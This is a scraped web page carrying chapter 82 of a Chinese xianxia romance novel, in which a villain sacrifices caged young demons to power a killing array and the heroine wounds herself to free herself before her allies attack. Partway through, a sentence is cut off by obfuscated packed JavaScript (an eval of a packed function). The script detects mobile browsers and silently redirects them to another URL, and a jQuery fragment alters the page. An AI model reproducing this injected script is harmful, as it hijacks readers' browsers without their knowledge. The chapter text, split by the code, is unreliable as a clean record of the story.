82. 同仇敌忾
作品:《修仙大佬人均恋爱脑?》 那天她正坐在窗前发呆,霍辛夷走进来对她说:“你看,好大的雪。”
窗外一片飘着鹅毛般密密麻麻的雪片,似乎要将这肮脏的世界冲刷掩埋干净。
暖阁之外有一个开放式露台,站在这里,身后便是温暖如春的精美内宅,而汹涌的风雪却能把脸刮得生疼。
他并未穿金袍,只穿一身玄色常服,外罩一件宽大的鹤氅,又亲手为她披上一件雪狐毛皮草,将她带到露台上坐。
辞盈手心朝上,感受雪花融化在掌心的丝丝凉意,眉心微动。
“你今天很有精神。”霍辛夷看她。
“是清醒了不少。”她把两只手都伸出去接雪。
“因为我觉得,你今天需要醒着。”霍辛夷说。
她扭头看他。
“辞盈,我需要你今天醒着,好能清楚地记住这一切。”他说着,目光飘向远处,语气透着胜券在握的骄傲,
“看,他来送死了。”
辞盈顺着他的目光望去。白茫茫的天地之间,满目皆是风雪,什么都看不见。
地壳开始轰隆,蠢蠢欲动。
潜藏在地下的无数亡灵和怨魂显然比她更灵敏,更早感知到强大力量的接近,惶惶不安地躁动起来。
断联了许多日子,她又一次感觉到神识中那股熟悉的气息就在身边,仿佛无处不在,她知道他来了。
她紧盯着那个方向,不肯眨一下眼,渐渐的,在那素白之间出现了一袭红衣。
钟离渊就这样踏雪而来。
像一粒滚烫的火星,没有雪片可以近身,他在一片苍茫之间遗世而独立,鲜红又干净。
辞盈并不觉得意外,已经数不清这是第几次,他孤身为她犯险。不管对面是龙潭虎穴,还是万千埋伏,他来接她,从未迟疑过。
慢慢的,她看清了他的脸。
四目相对,恍如隔世。
其实并没有过很久,她的毒才刚解,数日之间,他又瘦了一圈,深陷的眼窝和更加锋利的下颌线让他显得有些凶恨。
可是当他的目光落在她脸上,却又无比柔和,隔着重重飞雪和寒风,辞盈也觉得心头正被他的温暖融化着。
他一步步朝她走来,没有铠甲,也没带什么武器,他走得傲慢恣意,并没有观察周围环境的意思,好像有什么埋伏他都无所谓。
辞盈嗓子干涩,鼻子发酸,不自觉想要站起来。
冷硬的手指扣住了她的肩,动作幅度很小,像是寻常恩爱夫妻之间的亲呢,力道却有千钧,压得她抬不起半分。
“怎么,迫不及待要投入他的怀抱了?”
霍辛夷收紧手指,盯着辞盈的表情。她疼得鼻子底下渗出了细密的汗珠,却坚持咬着牙,眉头也没皱一下。
“很能忍,不愧是我看上的人。辞盈,你怕他心疼,一着急就会踩中我的圈套吗?”
辞盈深吸一口气,把嗓子里的哽咽和丝丝拉拉的疼痛压住,慢慢吐出来。
“你多虑了。”霍辛夷冷笑,“从他踏上我的噬灵阵那一刻起,他就已经是死人了,结果根本与你无关。”
辞盈没理会他。
这态度让霍辛夷恼火,他指尖在露台边的玉砖上敲了两下,不耐烦道:“曹不义,你还在等什么。”
曹不义在殿前不起眼的角落里应了一声,辞盈这才发现,墙角暗处竟有一个硕大的铁笼,里面关着数不清的幼年小妖。
这些小妖种类各异,大部分道行尚浅,刚修成人型,看起来几乎就是一笼幼童,被铁链束缚着,缩在笼中瑟瑟发抖。
“霍辛夷,你要做什么?”辞盈预感不好,急忙扯他的袖口,“你别太过分了!它们才多大啊?!”
霍辛夷面无表情地望着远处:“辞盈,这不怪我,要怪就怪钟离渊,是他非要闯进来挑衅我。没有这些小妖生祭,我的噬灵阵如何能发挥最佳效果呢?”
辞盈眼看着,那些锁链上生出细如牛毛的尖刺。
霎时间,晶莹的妖血飞溅,如同一场猩红的血雨,冥王殿上空回荡着无数小妖尖厉的哀嚎。
而那一段通往暖阁的石板路瞬间扭曲灰暗,如同黑洞深不见底,蒸腾着浓重灼人的黑色煞气,仿佛地狱之门开启,稍微接近一点就会将人吞噬殆尽,尸骨无存。
而那些失血的小妖在笼中迅速干瘪枯萎下去,而残存的微弱灵魂也被强行从躯壳中抽离,投入噬灵阵,刚一接触地面,便发出烤肉一般“滋滋”的响声。
可怜的啜泣声渐渐消失,空气中弥漫着一股令人作呕的腥臭味道。
辞盈感到一阵反胃,几乎要吐出来。
“你以为我不知道你在密谋什么?你以为曹不义真的会站在你那边吗?”霍辛夷不屑地冷笑,“辞盈,他没你这么傻,他看得出谁才是最后的赢家。”
“霍辛夷……你相信报应吗?”辞盈咬牙切齿。
霍辛夷轻蔑地笑,将她更紧地勒向怀里,“你还有心思同情别人?让我们来猜猜,你的小郎君能坚持多……”
话没说完,霍辛夷的脸色骤然难看起来。
因为钟离渊甚至没有停顿,已经面不改色地抬起脚,踩了上去。
一步,两步,他步伐稳健地,将脚下的脏东西碾碎。
当他的靴底触到刻满阵纹的石板,无数煞气疯狂涌向他,试图钻入他的身体,叫嚣着要将他撕碎。
而钟离渊周身仿佛燃着无形的火焰,没有任何东西可以近身,那些怨魂还未来得及碰到他的衣襟,就又被烫死一次,灰飞烟灭了。
他就这样肆无忌惮地走向她,带着他一贯的傲慢神色,踩着无数死灵和亡魂,却在看清她泛着水光的眼睛时终于神色动容。
他死死盯着那只扣着她肩膀的手,嘴唇绷成一条压抑的直线,声音沙哑:
“对不起,晚晚,我来迟了。”
“不,你来得正是时候,刚好赶上喝我们的喜酒。”霍辛夷仰靠在椅背上,胜券在握的挑衅。
话音未落,一道红光已杀至眼前。
霍辛夷甚至没看清他是何时出手,心下暗自一惊,钟离渊此人比他想象中还要可怕。
幸好他早有防备。
那银镯泛着红光,如闪电破空,携了十足的杀意冲向霍辛夷的胸口要害,恨不得直接将他穿个透心凉,却在他面前三尺处猛地被弹飞,似乎是撞上了透明的防护结界。
辞盈突然闷哼一声,脸色惨白,身体支撑不住,瘫软歪向一侧,被霍辛夷接住了,她倒在他怀里,似乎受了重创,猛咳几声,几乎提不上气来。
“晚晚——!”
钟离渊连飞回的银镯也没接,直直奔上去,霍辛夷的掌风带着煞气迎面袭来,钟离渊躲闪不及,几乎被掀翻,手臂堪堪留下一片烧灼的黑迹。
他爬起来,疯了似的又要往上冲,被斜刺里跳出来的人拦住了:“你这是着急救小师妹还是着急送人头!”
江羡之剑指霍辛夷,怒喝:“你这杂种,放了她!来和我打啊!”
“你还不配与我动手。”
霍辛夷头也没抬,反而低头打量快要断气似的辞盈,认真检查她的伤势。
他的动作很轻柔,看起来极其怜惜又心疼不已:“很疼吧?他出手实在太狠。辞盈,你伤了内腑,可不宜再动气了。”
辞盈想说话,却觉喉间翻涌的血气压抑不住,只能闭上眼,平息呼吸。
霍辛夷替她拭去嘴角溢出的血:“没关系,我可以医好你。辞盈,你看,只有我能救你,而他们只会伤害你。”
说罢,他抬起头,似笑非笑:“再来,动手啊。”
江羡之正要上去拼命,被钟离渊横臂拦下,他不明所以地看向钟离渊。
“先别动。”
钟离渊手指关节攥得发白,盯着那人,眼底几乎要渗出血来。
“知道你和我的差距吗?”霍辛夷笑道,“钟离渊,枉你空有一身修为,被那老贼压在塔下三百年,竟然毫无作为,最后还要靠我替你报仇。”
他眯了眯眼:“而我,无依无靠,凭借自己,蛰伏十余载,手刃了所有仇人。如果我有你一半命好,这天下早就是我囊中之物了。钟离渊,当初你狂妄自大,没在泑泽杀了我,就注定了今天会死在我手里。”
钟离渊声音冷得没有一丝温度:“我一定会杀了你。”
“你敢吗?”霍辛夷嘲讽地笑,“钟离渊,为了欢迎你,我在这结界上稍微动了一点手脚,效果你也看到了。你打在结界上的每一下都会落到她身上,不过没关系,力道还不足一成。只要你高兴,你大可以多试几次,”
说着,他将她像傀儡娃娃一样摆正在座椅上,然后阴鸷地贴近她耳边:“疼吗?这就是你背叛我的代价。辞盈,现在,你知道该怎么选了吗?”
辞盈望着面色紧绷冷峻的钟离渊,知道他投鼠忌器,不敢妄动。
她忽然嘴角勾了勾,露出一个活跃气氛的笑容。
然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324805|195737||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后她对霍辛夷说话,眼睛却含着笑意黏在钟离渊身上。
“哪怕再选一万次,霍辛夷,哪怕世上男人都死绝了,选猪选狗,我都不会选你。”她的声音平静,带着求死的决绝和蔑视。
霍辛夷最受不了她这副清高又冷漠的模样,怒极反笑:“……很好,我就喜欢你这身犟骨头。”
辞盈悄无声息地摊开手掌,葱玉手指间的银白指环骤然发亮,与钟离渊的银镯遥相感应,竟自动从她指尖飞出,悬在空中。
霍辛夷目光一聚,伸手去捉,却捞了个空,冷笑道:“雕虫小技,你以为伤得了我?”
“那倒不是。”辞盈终于转向他,眼里闪着狡黠的光,“霍辛夷,我赌你舍不得我死。”
霍辛夷一愣,终于反应过来,刚要动作已经来不及,银环像一枚无法捕捉的锋利暗器,灵巧无比地拐了个弯,从她细嫩的手腕间狠狠擦过,割开了血管,鲜血喷射出来。
“晚晚!不要——!”
钟离渊人比话快,转眼已经冲到结界外。
暖阁露台瞬间染红一片。
圣女血肉的莲花香散进风雪中飘远,带着致命的诱惑力,伴随着阵阵诡异凄厉的嘶叫,远处夜空现出一团巨大可怖的黑色团状物。
方圆数百里,数不尽的怨魂和邪煞都为之痴狂,连原本潜藏在噬灵阵下的阴魂也不顾一切地冲上来!
它们如饥似渴,带着毁灭一切的劲力,癫狂地冲向圣女血的源头!
这一撞,她怕是疼也要疼死。
情急之下,霍辛夷猛地劈向结界上的契约点,禁制消失的瞬间,仿佛庞然大物般的煞气已经压到近前,撞上了结界!
被撞碎的怨灵混着闪光的结界一同爆破,支离破碎。
没人抓得住她,巨大的冲击力将钟离渊和霍辛夷同时炸飞。
辞盈像一片轻飘飘的羽毛,被弹射出去,在黑洞一样的夜空中毫无支点地飘飞,坠落,在浑身的骨头被摔碎之前,她的肩膀碰到了一只手。
那手却没有直接抓住她,而是借力打力向侧面推了她一把,然后她感觉到背后有了倚靠,一股温和又磅礴的力量稳稳托住了她。
额头蹭到的衣料是熟悉的素白道袍,她闻到一股淡淡的鸢尾花味道,抬起头,看见墨让尘超然出尘的眉间皱起一道浅痕。
“师尊……”
她只叫一声便哽住了,连日来的委屈混着泪水在眼眶里打转。
他的目光正落在她还在冒血的伤口,眉头皱得更紧,立刻以灵力覆于伤处,血很快便止住。他一手疗伤,另一只手挥起袖袍,陆续扑来的怨气霎时间灰飞烟灭。
“师尊,我自己来吧……”她试图动手驱赶怨气。
“无妨。”
他气息沉稳,又将她向身后的安全区域轻轻一送,同时,醉花剑祭出,蓝芒如虹彩流光。
辞盈只感受到衣摆带起的一缕浮风,墨让尘已远在数丈之外,剑气如虹地将霍辛夷正站着的暖阁房檐直接掀飞。
“黑甲军何在!”
霍辛夷沉声呼喝,声音回荡在辽远的夜空。
“你是问他们吗?”房檐上不知何时窜出一个卷毛,悠然自得蹲在那,“咔嚓咔嚓”的嗑栗子。他指了指远处军队的方向,“都睡得挺香的,我看就别叫醒了。”
“长安!”
辞盈惊喜道,“你既然来了,那么……”
“我就知道,姐姐心里还是最惦记我家公子。”长安拍了拍手上的糖灰,站起来委屈道,“那我呢?我呢?”
那屋梁上的人神清骨秀,在月光的投影下如仙人之姿,影花扇迎风而摇:
“辞盈,好久不见。”
辞盈热泪盈眶:“你们怎么会……”
她从没想过,有一天,兰卿会和水云剑宗站在一起。
“我和墨让尘的仇,来日再算。”兰卿折扇指向霍辛夷:“你的三万黑甲军已被我困在万花幻境中。今日,我便要为那些无辜被害的妖众报仇……”
他还没说完,暖阁已经被轰成一个冒着黑烟的深坑……
长安:“这……这是什么可怕的东西……”
任平生带着萧无忧又后撤一大截:“别崩一身血,钟离渊要疯了。”
没人看清他的动作,只一道赤色残影杀向霍辛夷!
辞盈逃离虎口,此刻钟离渊终于卸下顾忌,如焚世流火,杀气腾腾,不再有任何技巧或者迂回。
他就是要他死!

